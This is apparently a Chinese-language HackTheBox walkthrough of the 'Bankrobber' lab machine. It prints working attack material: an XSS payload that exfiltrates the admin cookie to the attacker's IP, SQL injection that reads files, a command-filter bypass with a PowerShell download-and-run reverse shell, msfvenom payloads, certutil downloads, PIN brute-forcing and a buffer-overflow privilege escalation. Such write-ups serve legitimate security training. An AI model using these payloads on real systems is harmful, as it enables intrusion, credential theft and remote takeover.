HackTheBox >_ Bankrobber_154
Bankrobber_154
80
443
445
3306
常规扫描,不复述
测试了一圈,并没发现什么合适的地方,尝试注册,看能否越权。
但是并没有什么有用的
在transfer发现了有趣的地方
随便填入信息进行测试发现:
就是说管理员会进行人工审核。也就是说管理员会登陆
我们可以尝试盗取cookie,从而达到使用管理员权限登陆网站,尝试更多测试,抓包
我们可以修改包中能输入内容的文本框,在中间插入我们利用xss的img错误
提交一个伪造的img错误指向kali的80端口并传输管理员的cookie,
payload如下:
<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>
反复尝试, 最后把语句所有的参数都打入了payload才成功,最终包如下
POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.154/user/
Content-type: application/x-www-form-urlencoded
Content-Length: 244
Origin: http://10.10.10.154
Connection: close
Cookie: id=3; username=dGVzdA%3D%3D; password=dGVzdA%3D%3D
fromId=3&toId=<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>&amount=<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>&comment=<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>
在80端口建立监听,
得到了管理员的用户名和密码
YWRtaW4%3D
SG9wZWxlc3Nyb21hbnRpYw%3D%3D
%3D%3D是==,应该是base64
解码
$ echo YWRtaW4= | base64 -d
admin
$ echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d
Hopelessromantic
所以,管理员凭证是admin:Hopelessromantic
使用管理员凭证登录
注意这个,一个notes.txt
从默认的Xampp文件夹移动所有文件:TODO
对除本地主机以外的每个IP地址的注释进行编码:完成
休息一下..
看样子有xampp,所以已经可以知道默认目录,而且会用到这条线索。
我也应该休息一下。已经很久了。
看样子是数据库查询
可以注入
1' union all select 1,2,3-- -
三格,显示位2.注释符– - 在手注部分耽误了很多时间,中间过程略过,无具体收获。
看看下面
命令执行
提示只能执行dir
只允许本地执行。
我们手里还剩个之前的xss。也就是说可以利用xss让管理员在本地执行。
So,需要页面构建一个js脚本。利用管理员把命令推入backdoorchecker。
我们现在需要查看backdoorchecker源码,看看怎样绕过只能dir的命令限制,
我们能够SQLi,同时我们前面已经知道了默认路径应该是xampp。可以通过数据库的load file
查看源码
1' union all select 1,LOAD_FILE('C:\\xampp\\htdocs\\admin\\backdoorchecker.php'),3-- -
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// FILTER ESCAPE CHARS
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// CHECK IF THE FIRST 2 CHARS ARE LS
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");
}
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function from localhost (::1).<br..."
}
}
}else{
echo "...."
}
?>
也就是说只要是管理员,并且命令的前3个字母为dir就行。。。
所以允许命令应该为 dirxxxx | ipconfig |
验证阶段略过。
构建让我们可以获得shell的命令,应该是如下的命令
dirxxx || powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.25:8080/powercat.ps1');powercat -c 10.10.14.25 -p 4444 -e cmd"
而将命令转为xss则应该为
<script>var xhr;if (window.XMLHttpRequest){xhr=new XMLHttpRequest()}else{xhr=new ActiveXObject("Microsoft.XMLHTTP")};xhr.open("POST","/admin/backdoorchecker.php");xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.send("cmd=dirxxx || powershell -c \"IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.25:8080/powercat.ps1');powercat -c 10.10.14.25 -p 4444 -e cmd\"");</script>
回到最开始transfer.php页面重新抓包改包,kali本地开http服务,建立监听端口
极度漫长的等待后,管理员在我们的python http服务下载了powercat
我们在kali监听端口获得了shell
这台机器,真的卡是获得user
简单枚举看到910端口运行 PID1628
tasklist /svc
1628是bank2.exe
找一下发现在C盘
so要么端口转发,要么逆向/ window xp以上支持端口转发
C:\Users\Cortin\Desktop> netsh interface portproxy add v4tov4 listenport=910 listenaddress=0.0.0.0 connectport=443 connectaddress=10.10.14.25
没权限?runas
仍未建立成功,不知道这里是我操作问题还是什么
netsh interface portproxy dump
换个思路 传一个,meterpreter马(是的,开始不要脸了)
kali端生成,放入刚刚我们python http服务的工作目录。
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.25 lport=1337 -f exe > metershell.exe
靶机执行下载
C:\Users\Cortin\Desktop> certutil -urlcache -split -f http://10.10.14.25:8080/metershell.exe
msf设置监听
靶机激活
得到meter shell
利用meterpreter的快速命令,方便的进行端口转发,把目标910转到kali910
meterpreter > portfwd add -l 910 -p 910 -r 127.0.0.1
现在
对kali的910端口进行测试,注意使用nv不是nvlp
$ nc -nv 127.0.0.1 910
需要4位pin才能进入。
返回查找目标机器
无果
查询一番后,尝试使用bash脚本进行暴力破解的方法
$ for i in {0..9}{0..9}{0..9}{0..9}; do echo $i; echo $i | nc -nv 127.0.0.1 910; done
0021
重新连接
提示会执行transfer.exe
反复测试,发现这是一个可视的BOF,当推入了足够多的字符后,会发生越界,新的信息将被推入转换工具的位置。
因为会执行转换工具,所以只要推入我们想要执行的程序的路径,即可激活我们的payload
让我们测试一下可以输入多长,从而得知,我们应该在payload之前推入多少个字母
msf制作字符串
$ msf-pattern_create -l 50
现在得知我们推入32个字符后,附加的信息即可推入执行工具位置,从而执行
kali端再生成一个马
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.25 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe
上传到靶机
嗯。好像也不需要知道多少个字符,直接看程序截断利用就行
在监听获得shell